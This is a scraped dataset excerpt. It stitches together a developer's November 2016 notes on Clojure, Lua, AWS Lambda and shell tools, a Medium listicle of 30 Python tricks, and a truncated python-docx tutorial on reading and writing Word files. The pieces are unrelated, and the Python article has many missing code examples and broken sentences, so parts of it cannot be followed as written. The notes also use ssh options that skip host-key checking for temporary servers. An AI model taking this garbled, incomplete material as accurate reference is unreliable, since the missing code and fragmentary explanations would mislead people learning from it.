text stringlengths 454 608k | url stringlengths 17 896 | dump stringclasses 91
values | source stringclasses 1
value | word_count int64 101 114k | flesch_reading_ease float64 50 104 |
|---|---|---|---|---|---|
Wednesday, November 02, 2016
an interesting article: scripting in Clojure using boot
as we know boot can do shebang
but this article is about using boot as a console framework to build custom tasks, actually quite useful.
I decided to study more about boot.
and one tutorial I'm reading is using boot as well: modern-cljs: A series of tutorials on ClojureScript
one thing I want to do is like start a repl with some dependencies, but no need to create a project.
using boot is quite easy:
also there're some JVM Options can be tuned for a faster startup time.also there're some JVM Options can be tuned for a faster startup time.
boot -d org.clojure/core.async:0.2.395 repl
Thursday, November 03, 2016
lein-skummet is another option to reduce jvm startup time.
to use it, simply put these lines to your
project.clj:
:dependencies [[org.skummet/clojure "1.7.0-r2"]] :exclusions [[org.clojure/clojure]] :profiles {:default []} :plugins [[org.skummet/lein-skummet "0.2.2"]]
(note, it replaces
org.clojure/clojure "1.8.0" with
org.skummet/clojure "1.7.0-r2")
then these commands are available:
oror
$ lein skummet compile $ lein skummet run $ lein skummet jar
$ lein do skummet compile, skummet run
I tested it, seems not all libraries are compatible with it, for example clj-http causes compile error, switched to http-kit compiles normally.
the output does run faster, maybe helpful.
Friday, November 04, 2016
about lua
- I use
os.execto execute external program, but use
io.popenI can capture the output of the program.
- looks like the best library to do multi-threads with lua: torch/threads: Threads for Lua and LuaJIT. Transparent exchange of data between threads is allowed thanks to torch serialization.
- use this library to parse protocol buffers: google/upb: small, fast parsers for the 21st century
- webscript.io: Webscripts are short scripts, written in Lua, that run on our servers. They can respond to HTTP requests or run as cron jobs.
- The Power of Lua and Mixins
- mongrel2/Tir: A Simple Lua Web Framework For Mongrel2
Torch looks interesting too, machine learning in luajit.
reading Mastering Clojure, most of clojure books don't cover
core.async, this book probably has the most detailed chapter about
core.async.
it also covers the actor model with pulsar
still studying apache spark, I like spark shell, a repl to do data analysis.
too bad it supports scala and python only, I may need to re-visit my scala notes ..
some random notes:
- talking about aws lambda alternative, webhook is an interesting idea, hook.io seems implements this model.
- I mentioned onyx is too complicated for me, but this looks nice: Onyx Local Runtime
- uber/statsrelay: A consistent-hashing relay for statsd and carbon metrics
- Migrating from MySQL to Cassandra Using Spark
- DPDK, a set of libraries and drivers for fast packet processing.
- Git from the inside out
Saturday, November 05, 2016
another docker story: Docker in Production: A History of Failure
I still think container is the future, but not docker anymore. I prefer a more boring solution for containers.
Monday, November 07, 2016
to create a fatjar for a java library with gradle, add these lines to
build.gradle:
task fatJar(type: Jar) { baseName = project.name + '-all' from { configurations.compile.collect { it.isDirectory() ? it : zipTree(it) } } with jar }
then run:
$ gradle fatjar
to include java source in a clojure project, add this line to
project.clj:
:java-source-paths ["src/main/java"]
this works with
uberjar as well.
when doing
:aot :all,
uberjar will evaluate variables, use a
delay is one workaround that I like:
not only it solves the problem ofnot only it solves the problem of
(def service (delay (get-service)))
uberjar, but also
@serviceis more readable than
service.
just like
dig is modern version of
nslookup,
ss is modern version of
netstat,
man ss for more details,
-tupln also works on
ss:
check existing connections:check existing connections:
$ ss -tupln
$ ss -t4n state established
or query by
dst /
src:
$ ss -t4 src xxx.xxx.xxx.xxx:22
to empty a file, usually will be done by
$ cat /dev/null > somefile
there's another way:
$ truncate --size 0 somefile
mysqltuner is a useful tool to get recommendations for mysql config:
my.cnf, just do
$ apt-get install mysqltuner
Thursday, November 10, 2016
another container management tool: dc/os
looks like it's built on top of mesos
at the comment part of this article: Running Online Services at Riot: Part II | Riot Games Engineering, author gave comparison on dc/os and kubernetes.
and finally I see cool aws lambda alternative: Serverless computing on DC/OS with Galactic Fog
gestalt is a framework for building microservice platform.
may need to spend some time on these because they looks pretty nice.
Kotlin 1.0.5 is here, I didn't write much kotlin recently. I only do kotlin when clojure is not allowed.
Five Neglected Computer Science Classics
nice list but those books probably too much maths to me, maybe I will try The Implementation of Functional Programming Languages.
still reading the zguide, it's a very good guide for common messaging patterns, well explained and good advices. a must read even though you are not going to use zero mq.
Saturday, November 12, 2016
a snippet to
n go blocks, and collect all the results:
(defn dispatch [data] (let [n (count data) cs (repeatedly n a/chan)] (doseq [[v c] (map list data cs)] (a/go (a/>! c (do-something-with v)))) (dotimes [_ n] (let [[v c] (a/alts!! cs)] (println v)))))
manually assign
n to a smaller value if
data size is too large.
Tuesday, November 15, 2016
looking for a simple file based key-value storage, MapDB is one of the options. but it lacks of clojure wrapper, I choosed Factual/clj-leveldb: Clojure bindings for LevelDB, which is using fusesource/leveldbjni: A Java Native Interface to LevelDB underneath.
there's another interesting one: saolsen/steveskeys: Key Value Storage In Clojure.
reading some old issues of Linux Journal, found some interesting projects/tools:
- Resilio, file synchronization (formerly BitTorrent Sync).
- Qubes OS, a reasonably secure operating system.
- Habitica, a video game to help you improve real life habits.
- Simplenote, the simplest way to keep notes.
- Crashplan, online backup service.
- Proxmox VE, server virtualization management solution based on QEMU/KVM and LXC.
- Firewalld and multiple zones
Wednesday, November 16, 2016
found a pretty theme for emacs: Subatomic Theme
Saturday, November 19, 2016
this week has been working a lot on clojure, finally decided to study paredit all over again:
move parentheses | action | function | hot-key | alt-hot-key | |-----------------+-----------------------------+----------+----------------------| | move ( to left | paredit-backward-slurp-sexp | ctrl + ( | ctrl + alt + left | | move ( to right | paredit-backward-barf-sexp | ctrl + { | ctrl + alt + right | |-----------------+-----------------------------+----------+----------------------| | move ) to left | paredit-forward-barf-sexp | ctrl + } | ctrl + shift + left | | move ) to right | paredit-forward-slurp-sexp | ctrl + ) | ctrl + shift + right | move cursor | action | function | hot-key | alt-hot-key | |---------------------+----------------------+----------------+-------------------| | move up one level | paredit-backward-up | ctrl + alt + u | ctrl + alt + up | | move down one level | paredit-forward-down | ctrl + alt + d | ctrl + alt + down | | move forward | paredit-forward | ctrl + alt + f | | | move backward | paredit-backward | ctrl + alt + b | | select sexps | action | hot-key | |-----------------+------------------------| | select forward | ctrl + shift + alt + f | | select backward | ctrl + shift + alt + b | kill parentheses | action | function | hot-key | |------------------+---------------------+---------| | kill parentheses | paredit-splice-sexp | alt + s | | | | | add parentheses | action | function | hot-key | |-------------+--------------------+---------| | wrap around | paredit-wrap-round | alt + ( | | | | | kill | action | function | hot-key | |---------------+--------------------------------------+----------------------| | kill sexp | kill-sexp | ctrl + alt + k | | kill line | paredit-kill | ctrl + k | | kill backward | paredit-splice-sexp-killing-backward | alt + up | | kill forward | paredit-splice-sexp-killing-forward | alt + down | | raise sexp | paredit-raise-sexp | alt + r | | join | paredit-join-sexps | alt + J (upper case) | re-indent | action | function | hot-key | |----------+------------------------+---------| | reindent | paredit-reindent-defun | alt + q |
Tuesday, November 22, 2016
I had a bash script for connecting my hosts easily by selecting from a list, but it was every difficult to maintain. I rewrite it with lua:
#!/usr/bin/env luajit local hosts = {} local c = assert(io.popen("grep '#put' ~/.ssh/config", "r")) for l in c:lines() do _, _, h = string.find(l, "Host%s+(%w+)%s+#put") table.insert(hosts, h) end c:close() table.sort(hosts) for i, s in pairs(hosts) do print(i, "-", s) end io.write("pick one: "); local pick = io.read() local pickkey = tonumber(pick) if pick == nil or pick == "" then print("abort") elseif hosts[pickkey] then print("connecting", hosts[pickkey]) os.execute("ssh " .. hosts[pickkey]) else print("don't un") end
to use just append
#put at the end
Host of line, like:
Host devhost #put
then
devhost will appear on the list for selection.
playing aws lambda with clojure
java probably not a good fit for lambda due to its long startup time and memory requirement.
but I still prefer clojure (or even java) than node and python.
serverless is the new trend, but I'm still not sure it's better than tranditional stacks yet.
further reading: ServerlessConf slides
found another nice theme for emacs: Dracula theme
Thursday, November 24, 2016
TIL, if you create a
git-hello command and put in your
$PATH, you can trigger it by
git hello
learned it from here: anvaka/git-also: For a file in your git repository, prints other files that are most often committed together
there're some other similar tools:
- adamtornhill/code-maat: A command line tool to mine and analyze data from version-control systems
- tj/git-extras: GIT utilities – repo summary, repl, changelog population, author commit percentages and more
some noteworthy links:
- lua.vm.js lets your run lua on the web, very cool.
- Java Papers: scientific papers found in source code of OpenJDK.
- Developer-Y/cs-video-courses: List of Computer Science courses with video lectures.
Friday, November 25, 2016
CiteSeerX is a good place to look for papers, it provides cached version of the paper, very convenient.
video of Joe Armstrong interviews Alan Kay on CodeMesh
also Joe's keynote: Distributed Jamming with Sonic Pi and Erlang
finally there is a scripting solution for clojure/clojurescript: anmonteiro/lumo: Fast, cross-platform, standalone ClojureScript REPL
it's blazing fast and surely capable for scripting.
yogthos provided an example on reddit thread:
(def fs (js/require "fs")) (defn ls [dir] (js->clj (.readdirSync fs dir))) (let [args (-> js/process .-argv js->clj) dir (last args)] (println "found files:" (ls dir)) (println (.readFileSync fs "hello.cljs" "utf8")))
it calls nodejs dependency
fs, another interesting point. now you can use clojure/clojurescript libraies and nodejs libraries, how nice.
for aws lambda with clojure, use uswitch/lambada: A more passionate way to write AWS Lambda functions, it's way more easy than following Writing AWS Lambda Functions in Clojure | AWS Compute Blog.
the speed is actually good. it was slow for this first run (
2s for a simple task), but repeated runs are fast (under
100ms to few hundred ms).
deployment is fast, just
uberjar and upload.
essentially it's a zip file and it will be extracted on ec2 managed by aws, which means you can pack files in the
zip/jar, then read them from your function.
logs are a bit tricky, I still don't understand how aws events group lambda logs into a log stream. I can't find a way to set log stream name pattern, need to
aws describe-log-streams to get all stream names.
I use
aws logs –filter-pattern for now.
also
128MB for java fails a lot. raise to
512MB it becomes more stable.
another tip is you can view all sample input from different aws services on aws lambda console, when you click
test your function. quite useful to get a general idea about which service provides what kind of data to the lambda function.
you can't pack amazonica, it's over the
50MB size limit.
I don't have good believe in serverless, but for some cases aws lambda could be helpful and more easy to manage.
in general aws lambda should be used when:
- your input is in aws, more specifically one of these event sources.
- your task does not hit one of these limitations
- output is one of the aws services, or no ouput (like external api calls, webhooks)
since input and output are aws services, and lambda is so tiny and there will be lots of them. good management on rols and policies are required.
Dply provides clould server free for 2 hours. you just need a github account (just use your github key to access).
I tried and it works well. good for testing.
for this kind of temporary servers, you don't want to add them to your
known_hosts, append
-o "UserKnownHostsFile /dev/null" option to
ssh command.
(add
-o StrictHostKeychecking=no to skip warning)
two hours actully is good enough for a paring section.
Saturday, November 26, 2016
I heard about Nightlight few times, finally tried it today.
you'll have an editor in browser with repl support when you run the program. maybe useful in some ways.
reading Professional Clojure.
after done couple clojure projects, I decided to go back to read more clojure books. I often found there should be better way to write clojure codes than what I've done.
a quick test on writing a http server using clojurescript with nodejs
http module, runs with
lumo:
#!/usr/local/bin/lumo -q (def http (js/require "http")) (defn handler [req res] (doto res (.writeHead 200 {"Content-type" "text/plain"}) (.end "roarrrrrr!"))) (defn start-server [] (-> (.createServer http handler) (.listen 3000 "127.0.0.1")) (println "server running at")) (start-server)
I can use clojure + java or clojurescript + javascript + node.js in one language, it's very cool.
but I need to re-visit my node.js books ..
Tuesday, November 29, 2016
Factual/durable-queue: a disk-backed queue for clojure, it's pretty simple and data is presisted in disk.
tried adamtornhill/code-maat: A command line tool to mine and analyze data from version-control systems, it's written in clojure. didn't pay attention to its book: Your Code as a Crime Scene. not found anything interesting yet.
love Dply, I wrote a simple webservice and put register command in the user script, my ssh connect script will fetch ip from the webservice.
now every time I start a dyln 2 hours free vm, I can use the same command to
ssh in.
React Native Express is a good resource to learn react native.
I tried, but it's so complicated to create a project even with a boilerplate tool.
Wednesday, November 30, 2016
matryer/bitbar is a very useful tool to make some shortcuts with script and put it to os x menu bar.
start
mpv with
–input-ipc-server=/tmp/mpv-sock, you can send commands to control the player like:
$ echo cycle pause | nc -U /tmp/mpv-sock
nc -Uis for unix socket, if unsupport can use
socat.
other common commands are:
quit,
playlist_next,
playlist_prev, can also add file to list via
loadfile $file append-play
combine with bitbar, I can control
mpv anywhwere via menu bar.
I love bookmarklets, so this project is useful for me adzerk-oss/boot-bookmarklet: A Boot task for generating bookmarklets from ClojureScript namespaces
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30 Python Language Tricks That Will Make You a Better Coder
If you think you mastered the language, you’ve got to read this
There are lots of little tricks that can make life easier for a Python coder. Some of these will be known to you, but I’m sure there are at least a couple that you haven’t seen before.
If you’re done reading, also take a look at our latest article on concurrency:
1. The Python Ellipsis
The Python ellipsis is a sequence of three dots. It’s used a lot in conventional (non-programming) languages. But what you might not know, is that it’s a valid object in Python too:
>>> ...
Ellipsis
Its primary use seems to be in matrix slicing operations in NumPy. However, you can use it as a placeholder in a function that you haven’t implemented yet, instead of using
pass, as most people do:
def my_awesome_func():
...
This is valid Python code, and it doesn’t look too bad now, does it?
2. Data classes
Since version 3.7,, reduced the chances of bugs
Here’s an example of a data class at work:
3. The Zen of Python
One of the earliest Python pep’s is PEP-20. It’s a list of 19 theses relating to Python programming called ‘The Zen of Python.’ These rules date back to 2004 and are in turn based on PEP-8.
A little Easter egg that has been present in Python for a long time lists these 19 rules:
So as long as you have a Python REPL, you can get these rules on your screen!
4. Anonymous functions
Sometimes, naming a function is not worth the trouble. For example.
5. List Comprehensions
A list comprehension can replace ugly for loops used to fill a list. The basic syntax for a list comprehension is:
[ expression for item in list if conditional ]
A very basic example to fill a list with a sequence of numbers:
And because you can use an expression, you can also do some math:
Or even call an external function:
And finally, you can use the ‘if’ to filter the list. In this case, we only keep the values that are dividable by 2:
6. In place variable swapping
A neat little trick that can save a few lines of code:
7. Named String Formatting
I don’t see many people using this. I must admit that I love f-strings, and have used them from the day they became available. But if my data is already in a dictionary, I use this named string formatting trick instead:
You can even (ab)use the
locals() function here, but with modern Python versions you should really turn to f-strings instead:
8. Nested list comprehensions
Remember the basic syntax of a list comprehensions? It’s:
[ expression for item in list if conditional ]
If
expression can be any valid Python expression, it can also be another list comprehension. This can be useful when you want to create a matrix:
>>> [[j for j in range(3)] for i in range(4)]
[[0, 1, 2], [0, 1, 2], [0, 1, 2], [0, 1, 2]]
Or, if you want to flatten the previous matrix:
>>> [value
for sublist in m
for value in sublist][0, 1, 2, 0, 1, 2, 0, 1, 2, 0, 1, 2]
The first part loops over the matrix
m. The second part loops over the elements in each vector.
9. Required Keyword Arguments
You can force keyword arguments. To do so, use
>>>
10. Use The Underscore in The REPL
You can obtain the result of the last expression in a Python REPL with the underscore operator, e.g. in the Python REPL this looks like:
>>> 3 * 3
9
>>> _ + 3
12
This works in the IPython shell too.
11. Check for a minimum required Python version
You can check for the Python version in your code, to make sure your users are not running your script with an incompatible version. Use this simple check:
12. Decorate your functionsprint
13. Return multiple values
Functions in Python can return more than one variable without the need for a dictionary, a list or a class. It works like this:
What we are actually doing here, is returning a tuple. We could have written
return (name, birthdate) as well, with the same effect. And if you’re wondering whether you can return more than two values this way: yes you can!
This is alright for a limited number of return values. But anything past 3 values should be put into a (data) class.
14. Merging dictionaries
Since Python 3.5, it became easier to merge dictionaries. And with Python 3.9, even more so!
If there are overlapping keys, the keys from the first dictionary will be overwritten.
15. Slicing a list
The basic syntax of list slicing is:
a[start:stop:step]
Start,
stop and
step are optional. If you don’t fill them in, they will default to:
- 0 for
start
- the end of the list for
stop
- 1 for
step
Here are some examples:
16. Check memory usage of your objects
With
sys.getsizeof() you can check the memory usage of an object:
Woah… wait… why is this huge list only 48 bytes?
It’s because the range function returns a class that only behaves like a list. A range is a lot more memory efficient than using an actual list of numbers.
You can see for yourself by using a list comprehension to create an actual list of numbers from the same range:
17. Using * and ** for Function Argument Unpacking
Some functions require a long list of arguments. Although this should be avoided altogether (e.g.:
Similarly, we can use a single
* to unpack an array and feed its content as positional arguments to a function:
18. String to title case
This is just one of those lovely gems. If you want to quickly get a nice looking headline, use the title method on a string:
It’s not perfect though. You can implement a better version with a regex, as explained in this article.
19. Split a string into a list
You can split a string into a list of strings. In this case, we split on the space character:
To split on whitespace, you actually don’t have to give split any arguments. By default, all runs of consecutive whitespace are regarded as a single whitespace separator by
split. So we could just as well use
mystring.split().
Split also allows a second parameter, called
maxsplit, which defines the maximum number of splits. It defaults to -1 (no limit). An example where we limit the split to 1:
>>> mystring.split(' ', 1)
['The', 'quick brown fox']
20. Create a string from a list of strings
And vice versa from the previous trick, create a string from a list and put a space character between each word:
If you were wondering why it’s not
mylist.join(" ") — good question!
It comes down to the fact that the
String.join() function can join not just lists, but any iterable. Putting it inside String prevents implementing the same functionality in multiple places.
21. Query JSON
JMESPath is a query language for JSON, which allows you to obtain the data you need from a JSON document or dictionary easily. This library is available for Python, but also for many other programming languages, meaning that if you master the JMESPath query language, you can use it in many places.
Here’s some example code to get a feeling for what’s possible:
>>> import jmespath
>>> persons = {
... "persons": [
... { "name": "erik", "age": 38 },
... { "name": "john", "age": 45 },
... { "name": "rob", "age": 14 }
... ]
... }>>> jmespath.search('persons[*].age', persons)
[38, 45, 14]
Follow the link to learn more about JMESPath for Python.
22. Reversing strings and lists
You can use the slice notation from above to reverse a string or list. By using a negative stepping value of -1, the elements are reversed:
23. Get unique elements from a list or string
By creating a set with the
set() function, you get all the unique elements from a list or list-like object:
24. Valid Dictionary Values
You can put anything in a dictionary. You’re not limited to numbers or strings. In fact, you can put dictionaries and lists inside your dictionary and access the nested values in a very natural way:
>>> a = { 'sub_dict': { 'b': True }, 'mylist': [100, 200, 300] }
>>> a['sub_dict']['b']
True
>>> a['mylist'][0]
100
Python’s JSON decoding and encoding library uses this feature of Python when parsing more complex JSON documents. It creates nested trees of lists, dictionaries, and other valid data types.
Read all about dictionaries in this article:
25. Ternary Operator For Conditional Assignment
This is another one of those ways to make your code more concise while still keeping it readable:
[on_true] if [expression] else [on_false]
As an example:
x = "Success!" if (y == 2) else "Failed!"
26. Counting occurrences in a list
You can use Counter from the collections library to get a dictionary with counts of all the unique elements in a list:
27. Chaining comparison operators
Create more readable and concise code by chaining comparison operators:
28. Working with dates
The python-dateutil module provides powerful extensions to the standard datetime module. Install it with:
pip3 install python-dateutil
You can do so much cool stuff with this library. I’ll limit the examples to just this one that I found particularly useful: fuzzy parsing of dates from log files and such.
Just remember: where the regular Python datetime functionality ends, python-dateutil comes in!
29. Using map()
One of Python’s built-in functions is called
map(). The syntax for
map() is:
map(function, something_iterable)
So you give it a function to execute, and something to execute on. This can be anything that’s iterable. In the examples below I’ll use a list.
Take a look at your own code and see if you can use
map() instead of a loop somewhere! You may have noticed, that list comprehensions do exactly the same thing. It’s up to you what you like more, but I’d pick the list comprehension!
30. Dictionary and set comprehensions
With all the attention that goes to list comprehensions, you’d almost forget that you can use the same language construct for dictionaries and sets.
A dictionary requires a key and a value. Otherwise, it’s the same trick again:
>>> {x: x**2 for x in (2, 4, 6)}
{2: 4, 4: 16, 6: 36}
The only difference is that we define both the key and value in the
expression part.
The syntax for a set comprehension is not much different from a list comprehension. We just use curly brackets instead of square brackets:
{ <expression> for item in list if <conditional> }
For example:
>>> {s for s in range(1,5) if s % 2}
{1, 3}
Thank you for reading. I hope you enjoyed this as much as I enjoyed writing it! Hungry for more? Try this: | https://medium.com/pythonland/30-python-language-tricks-that-will-make-you-a-better-coder-f08f811a7b0f?source=post_internal_links---------6---------------------------- | CC-MAIN-2021-21 | refinedweb | 1,844 | 71.75 |
Today, I would like to tell you about Entry Key ReturnType. How to change ReturnKeyType keys like Search, Done, Next etc. In this article I am using Xamarin Forms PORTABLE and XAML.
Today, I would like to tell you about Entry Key ReturnType. I'll tell you how to change ReturnKeyType keys like Search, Done, Next etc. In this article, I am using Xamarin.Forms PORTABLE and XAML.
Entry handles the Keyboard return key description.
Implementation
Open Visual Studio and select a "New Project".
Select Cross-Platform App, give the project a name, and set the project path. After that, click OK.
Select the template as "Blank App" and code sharing as "PCL".
Right-click on PCL project and select Add >> New Item or Add >> Class.
Now, we are creating a class CustomKeyEntry.cs and write the following C# code.
CustomKeyEntry.cs
We need to set ReturnType property in Android and iOS project.
Let us start with Android….
We have to create a Class in Android Project and render the entry.
Then, we set all the properties during the initialization of PCL Project.
Please make sure to add dependency ([assembly: ExportRenderer(typeof(CustomKeyEntry), typeof(CustomKeyEntryRenderer))]) of Android (CustomEntryRndered) and PCL(CustomEntry).
CustomKeyEntryRenderer.cs
Let’s come to iOS project. First, set the PCL(CustomEntry) property in iOS Project.
Create a class by right-clicking on iOS Project and select Apple. Then select "Class" and give this class a name as CustomEntryRendered.cs.
Please make sure to add dependancy [assembly: ExportRenderer(typeof(CustomKeyEntry), typeof(CustomKeyEntryRenderer))].
Now, let’s write some code for Entry and set the property.
Now, go to the PCL Project and write this code in MainPage.xaml.
As you can see in the above code, we have to set the view reference in xmlns:custom="clr-namespace:App1.CustomViews.KeyEntry" MainPage.xaml.
Write the following code for CustomKeyEntry.
TADDAAAAA! :)
Features of CustomReturnType controlsCustom ReturnType Property=(ReturnType="Search") and all public entry controls are available in this CustomKeyEntry.
View All | https://www.c-sharpcorner.com/article/introduction-to-xamarin-return-key/ | CC-MAIN-2019-30 | refinedweb | 331 | 61.22 |
Each vampire gets 3 candies from each visited house, zombies 4, and witches 5. Return the average number of candy each kid gets, as a truncated integer.
This Halloween-style problem is #220 from CodeEval. I have solved it using Python 3 as implementation language.
The couple of samples provided, that I have converted in python test cases, explain which is the expected input format. As usual, we are not required to perform any error handling whatsoever.
def test_provided_1(self): self.assertEqual(4, solution('Vampires: 1, Zombies: 1, Witches: 1, Houses: 1')) def test_provided_2(self): self.assertEqual(36, solution('Vampires: 3, Zombies: 2, Witches: 1, Houses: 10'))Curiosly, the most interesting part of this problem is in extracting the values from the input string. I decided to work on it firstly splitting it on commas, then splitting each resulting element on ': ' - colon and a blank - so that on the right part of the split is going to be the string representation of the number. The is just a matter of convert it to integer. I wrote all this stuff as a list comprehension, and then I extracted its values on variables with more readable names:
vampires, zombies, witches, houses = [int(item.split(': ')[1]) for item in line.split(',')]After calculating the numbers of candies, we have return the average of them for kid, as an integer number,
return candies // (vampires + zombies + witches)Notice that I used the Python 3 integer division operator that returns the floor result of a division, as for requirements.
As by routine, I have pushed test case and Python script to GitHub. | http://thisthread.blogspot.com/2017/01/codeeval-trick-or-treat.html | CC-MAIN-2018-43 | refinedweb | 266 | 54.52 |
A new Flutter package project for Microsoft Graph Api.
The easiest way to use this library is via the top-level functions.
import 'package:msgraph/msgraph.dart' var msGraph = MsGraph(token); var me=await msGraph.me.get(); //get me print('Me: $me');.
First replease
Add this to your package's pubspec.yaml file:
dependencies: msgraph: ^0.0.1
You can install packages from the command line:
with Flutter:
$ flutter pub get
Alternatively, your editor might support
flutter pub get.
Check the docs for your editor to learn more.
Now in your Dart code, you can use:
import 'package:msgraph/msgraph.dart';
We analyzed this package on Aug 16, 2019, and provided a score, details, and suggestions below. Analysis was completed with status completed using:
Detected platforms: Flutter
References Flutter, and has no conflicting libraries.
Document public APIs. (-0.76 points)
122 out of 123 API elements have no dartdoc comment.Providing good documentation for libraries, classes, functions, and other API elements improves code readability and helps developers find and use your API.
Fix
lib/Models/message.dart. (-0.50 points)
Analysis of
lib/Models/message.dart reported 1 hint:
line 46 col 3: This function has a return type of 'String', but doesn't end with a return statement.
Format
lib/Component/graphme.dart.
Run
flutter format to format
lib/Component/graphme.dart.
Format
lib/Models/PhotoSize.dart.
Run
flutter format to format
lib/Models/PhotoSize.dart.
Support latest dependencies. (-10 points)
The version constraint in
pubspec.yaml does not support the latest published versions for 1 dependency (
equatable).
msg. | https://pub.dev/packages/msgraph | CC-MAIN-2019-35 | refinedweb | 260 | 52.36 |
Name: dbT83986 Date: 03/22/99 Java's second biggest problem, in my opinion, is the lack of support for multiple return values. I've personally written over 30,000 lines of Java code so far and have been heading up a large Java development project, so I do have some experience with Java programming. This lack of multiple return values has been a major pain. Whenever I want to return more than one result from a method, I am forced to allocate an object. The simple (mv-let (a b) (foo obj 17) ... ) becomes class TwoIntValues { int firstValue; int secondValue; } ... TwoIntValues ab = new TwoIntValues(); obj.foo(17,ab); a = ab.firstValue; b = ab.secondValue; or, if you don't want terrible memory waste, static myTwoIntValuesBuffer = new TwoIntValues(); ... synchronized(myTwoIntValuesBuffer) { obj.foo(17,myTwoIntValuesBuffer); a = ab.firstValue; b = ab.secondValue; } This leads to code bloat, and it becomes quite tricky to declared your buffer objects at appropriate scoping levels and such. Obviously you would like to eliminate the synchronized() above due to delays. But any attempt to do so usually results in all sorts of crazy invariants about who owns which buffers, and what to do with them. Perhaps worse, you end up defining meaningless classes like the above TwoIntValues class. I can understand geometric methods returning a Point, but why should a specialized divide operation have to return a QuotientAndRemainderIntInt? And should callers have to cache QuotientAndRemainderIntInt buffers here and there for fast access? This seems like a bad plan, seeing as all current processors have enough registers to return multiple values. I can understand why backwards languages like C++ haven't implemented multiple value returns: You can simulate it by passing a pointer to each return value. However, this leads to substantial inefficiency. Compare optimized implementations of these two calls: 1. obj.foo(17,&a,&b) // No multiple value return 2. (a,b) = obj.foo(17) // Multiple value return each followed by "return a+b": 1. "obj.foo(17,&a,&b); return a+b;" sub sp,8 mov r1,17 lea r2,sp[0] lea r3,sp[4] call class$foo mov r1,sp[0] mov r2,sp[4] add r1,r2 add sp,8 ret class$foo: ... compute r1 & r2 ... mov [r4],r1 mov [r5],r2 ret 2. "(a,b)=foo(17); return a+b;" mov r1,17 call class$foo add r1,r2 ret class$foo: .. compute r1 & r2 ... ret Not only is the second expression more readable, but it also allows the generation of much better code! In C++ we can do ugly Java-like tricks and come up with the more efficient code: struct TwoIntValues { int firstValue; int secondValue; }; ... TwoIntValues ab = foo(17); a = ab.firstValue; b = ab.secondValue; But this is syntactically ugly and requires the definition of struct TwoIntValues to be in some public place. How much nicer if we just had an extended Java like this: void easy() { int a; int b; (a,b)=foo(17); // Call ... } (int,int) foo(int arg) // Declaration { int x=...; int y=...; return (x,y); // Return value } This extension seems nice and clean to me and it integrates easily into the existing language. The only drawback I can see here is that it C++ programmers may think "return (x,y);" returns the value of "y". An alternative syntax would be: ... Values(a,b)=foo(17); ... Values(int,int) foo(int arg) { ... return Values(x,y); } in this circumstance I think it would be smart to press an unused Unicode character into service as a synonym for the "Values" operator, since it really shouldn't be looking like a class name. I've seen the complicated proposals here to declare some objects to be a "primitive" type so that they can be returned in registers, but these proposals introduce new, complex syntaxes and introduce a fundamental change to the Java object model that I consider inappropriate. They are also unsuitable for the task. They also fail to simplify the syntax or remove the need to declare "QuotientAndRemainderIntInt"-type classes. One other bit of syntactic convenience I recommend is to allow declarations inside the "Values" clause: void easy() { Values(int a, int b) = foo(17); ... } Conclusion: Multiple return values are quite useful in any language, and with Java's object model they are essential to generating efficient and readable code. No other construct I know of can take their place. They would be easy to implement. Even without suitable VM changes, the extra values could be stored at fixed TLS offsets. And future versions of the VM and Java native compilers could take advantage of register return values (either by recognizing the use of the "special" TLS slots in the byte code, or by having the compiler generate code based on the 1.3 VM spec, which has this ability built in). Think of it this way: Why should a method be allowed to receive 3 arguments but not allowed to return 3 results? To me, this seems to be a fundamental inconsistency in the language. (Review ID: 55623) ====================================================================== | https://bugs.java.com/bugdatabase/view_bug.do?bug_id=4222792 | CC-MAIN-2018-09 | refinedweb | 841 | 57.27 |
The MS Word utility from Microsoft Office suite is one of the most commonly used tools for writing text documents, both simple and complex. Though humans can easily read and write MS Word documents, assuming you have the Office software installed, often times you need to read text from Word documents within another application.
For instance, if you are developing a natural language processing application in Python that takes MS Word files as input, you will need to read MS Word files in Python before you can process the text. Similarly, often times you need to write text to MS Word documents as output, which could be a dynamically generated report to download, for example.
In this article, article you will see how to read and write MS Word files in Python.
Installing Python-Docx Library
Several libraries exist that can be used to read and write MS Word files in Python. However, we will be using the python-docx module owing to its ease-of-use. Execute the following
pip command in your terminal to download the
python-docx module as shown below:
$ pip install python-docx
Reading MS Word Files with Python-Docx Module
In this section, you will see how to read text from MS Word files via the
python-docx module.
Create a new MS Word file and rename it as "my_word_file.docx". I saved the file in the root of my "E" directory, although you can save the file anywhere you want. The my_word_file.docx file should have the following content:
To read the above file, first import the
docx module and then create an object of the
Document class from the
docx module. Pass the path of the my_word_file.docx to the constructor of the
Document class, as shown in the following script:
import docx doc = docx.Document("E:/my_word_file.docx")
The
Document class object
doc can now be used to read the content of the my_word_file.docx.
Reading Paragraphs
Once you create an object of the
Document class using the file path, you can access all the paragraphs in the document via the
paragraphs attribute. An empty line is also read as a paragraph by the
Document. Let's fetch all the paragraphs from the my_word_file.docx and then display the total number of paragraphs in the document:
all_paras = doc.paragraphs len(all_paras)
Output:
10
Now we'll iteratively print all the paragraphs in the my_word_file.docx file:
for para in all_paras: print(para.text) print("-------")
Output:
------- Introduction ------- ------- Welcome to stackabuse.com ------- The best site for learning Python and Other Programming Languages ------- Learn to program and write code in the most efficient manner ------- ------- Details ------- ------- This website contains useful programming articles for Java, Python, Spring etc. -------
The output shows all of the paragraphs in the Word file.
We can even access a specific paragraph by indexing the
paragraphs property like an array. Let's print the 5th paragraph in the file:
single_para = doc.paragraphs[4] print(single_para.text)
Output:
The best site for learning Python and Other Programming Languages
Reading Runs
A run in a word document is a continuous sequence of words having similar properties, such as similar font sizes, font shapes, and font styles. For example, if you look at the second line of the my_word_file.docx, it contains the text "Welcome to stackabuse.com", here the text "Welcome to" is in plain font, while the text "stackabuse.com" is in bold face. Hence, the text "Welcome to" is considered as one run, while the bold faced text "stackabuse.com" is considered as another run.
Similarly, "Learn to program and write code in the" and "most efficient manner" are treated as two different runs in the paragraph "Learn to program and write code in the most efficient manner".
To get all the runs in a paragraph, you can use the
run property of the
paragraph attribute of the
doc object.
Let's read all the runs from paragraph number 5 (4th index) in our text:
single_para = doc.paragraphs[4] for run in single_para.runs: print(run.text)
Output:
The best site for learning Python and Other Programming Languages
In the same way, the following script prints all the runs from the 6th paragraph of the my_word_file.docx file:
second_para = doc.paragraphs[5] for run in second_para.runs: print(run.text)
Output:
Learn to program and write code in the most efficient manner
Writing MS Word Files with Python-Docx Module = docx.Document()
Writing Paragraphs
To write paragraphs, you can use the
add_paragraph() method of the
Document class object. Once you have added a paragraph, you will need to call the
save() method on the
